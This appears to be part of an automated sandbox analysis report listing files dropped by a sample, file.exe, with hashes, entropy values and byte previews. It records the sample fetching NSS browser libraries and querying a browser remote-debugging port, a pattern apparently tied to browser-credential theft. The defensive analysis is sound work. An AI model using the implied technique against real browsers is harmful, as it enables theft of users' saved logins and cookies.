C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8460057397653853
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxhxl9Il8uWj+jUGcmscU4lhcXUE+jNvd1rc:mEYK9GcmU+hckE+a
MD5:	BC1556DD4CEFAB5686B349116DB359BD
SHA1:	CA56070D74649EA0207B5B3702D07377F26A0E8A
SHA-256:	3D1EEC7A37BAAD1C1A410CE96183E204BD9514F1CBD0436D494B9F9EE82B2457
SHA-512:	A0E33A7E57B47D0489C8EF3827344A59F02CD17ACF1D404AC8AECF221C1D3CA23A215C497A3BE916B4555C5FF55A36978ACC7CF433026878F00283CE8721B2CB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.M.o.F.F.V.Y./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.S.s.1.l.e.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.991253096201688
Encrypted:	false
SSDEEP:	96:6YKFnuXazP4CRCQ2EUMpSANUMxcOFPmoz2eSjbT72rI:6n1uK8w2E3VLZPSjbT72rI
MD5:	79E7BBC1330D3C15226D409FF5679ECB
SHA1:	34DFC600F6AECFEBA6B080D25BEB390BCF6E7632
SHA-256:	D31439ABC6D6524F5CDCD51801C1DB0F5788DF22301A137B1DFB3FA3958D6604
SHA-512:	5F04CB358E7C0D6F4BB19D4AE2355F40969C45A36D1DDC44CB05B1DF0AA69AFA713C6FD57B1B4DF27566FC9F03ACE53E0513A6C671131ECFC1A7847A5CB1DF11
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".M.a.+.n.+.k.0./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.S.s.1.l.e.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9118854506161744
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x25xl9Il8uWj4atgixSqVoBog0kdHVDoAJgDDsTClpad/vc:aANYKfgix5VSoIHVMA6sTCLH
MD5:	DB8E0C5367C64A6A4A77A170E7ABB2BD
SHA1:	320365137D2FE9F127F866248E7D74672683A204
SHA-256:	7C238A7AEE467EB7C3C54A387BFCAD5DBE40A50981BA2C7B40C8121765019CDB
SHA-512:	980EE600001E223345B88CB324EE32BB897997E3B5741C9DC739F8C60E8B12C56DB24237BA56CEEC57A5654D917492E136C66B8D9A7E334E7D8F48E6D39F5818
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".F.l.G.7.K.x.9.e.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.S.s.1.l.e.4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.394372533495908
Encrypted:	false
SSDEEP:	96:6NnQmHQONnQgbQ6NnQE9QxNnQJdgEQBNnQUQmNnQwq6DQwxNnQ4wQENnQ+N3Q+G:6NxNTNUNIQNxNjq63xNvgN97G
MD5:	071A464D6ADD305AA58E17637EC22235
SHA1:	DB65120AABA7E1F91FA3F9067FD19F666163ED66
SHA-256:	5EACE107C2D8407D650A7C26CE93228CCBBCC7093AB55B0A2DA0414BA49C1097
SHA-512:	5A948539984695228EF5857277FBF50C9D90597195EE7BA73A5A5915BFE2235CB92B1B0930D8575061C8E2E6F1729B990D012F6F756ED215EF16E6F577619252
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9A8C4F5DD0EC34A1FC022CF8B7085CD3",.. "id": "9A8C4F5DD0EC34A1FC022CF8B7085CD3",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9A8C4F5DD0EC34A1FC022CF8B7085CD3"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6CF0FB57D2D02069966A0BE393A27F3B",.. "id": "6CF0FB57D2D02069966A0BE393A27F3B",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6CF0FB57D2D02069966A0BE393A27F3B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.350045750232084
Encrypted:	false
SSDEEP:	24:OBfNaoQRbINePKllDQXBfNaoQKP2O+P2qBYpDQKPdBfNaoQsVj1UQsC0:SfNaoQVTEQxfNaoQ50FQ+fNaoQsQQsC0
MD5:	AD1209DA5E81C6509311C6C3F01B39C2
SHA1:	4D5644A94E8426BFD4098A2A517D4776D828C253
SHA-256:	009B05458F5490B55CE7479E225746CA7296A5970D38AC3300F1E543CB2BC498
SHA-512:	084C67FF8BAA20FF0227C0109FC54B47B8A2E3A85AA93F8C9F14DD8351C53A554D66F61FDDAFC232FF58E7618B8FA70B766D2D13E6BA28124E449AF44109392D
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8ED8521F0184D1D9B54572706483CDBD",.. "id": "8ED8521F0184D1D9B54572706483CDBD",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8ED8521F0184D1D9B54572706483CDBD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6D81F8B35838D758F818337B3222A216",.. "id": "6D81F8B35838D758F818337B3222A216",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6D81F8B35838D758F818337B3222A216"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3fee0a26-0237-4a50-bc92-ffab912b6a9a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\485f89b1-33e4-4254-ae2e-fa9cb39b0a51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\5e6b974b-f9fb-4a79-aa4d-7c10eac21855.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1534076
Entropy (8bit):	7.99238759906277
Encrypted:	true
SSDEEP:	24576:tKlO16DbX3dr4nQY3go5JVFy9+jRpdcbNoTMcD5VQvfImv8NIpL0eErHUtHS1IIh:ElO1ObndrLYXfVFyORPINoTMcD5VifCD
MD5:	96538B56981E203FFE8AFEA2EA9D0BEE
SHA1:	B0EC1EF7E69EAA71D72B6ACE44D5109527BDC254
SHA-256:	0DCC2CDDDAF8313C04CC88909FCCD5474AB19666A85507D6F8E7AD8EB40B10E7
SHA-512:	7B29CE7EBFDEA44B46776965D9A184B89552FF0C28D8213C968F0C23ADCBB1ED55BE5A23F1122D11AFD678103CE1FADBD9292BB8A34ECEFBE44711B1F61880D0
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\a2bd7f00-c84e-4726-9d16-17b54aeab05f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\aa27e10a-330f-4bf5-8a22-3061a2657ada.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.410695204222909
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rr6:8e2Fa116uCntc5toY58dsaKM
MD5:	A735C79E5F5640CE784331009C1D584A
SHA1:	5FC43EEFEB0F0C504E278513A2F76FC0BC5FC768
SHA-256:	B50BA9483C5E2FEE530A2EA242D455ABD87417430163535988161C478AB104C0
SHA-512:	C9D6ED94B72000CB1332562CF08D40A898ACF34DFDD67970E885F4720A2DAAACDD24CA5C22BD3B9D7DFFE7D2BF651D505F3A90FB297F06ACBB4EB290E9735A7E
Malicious:	false
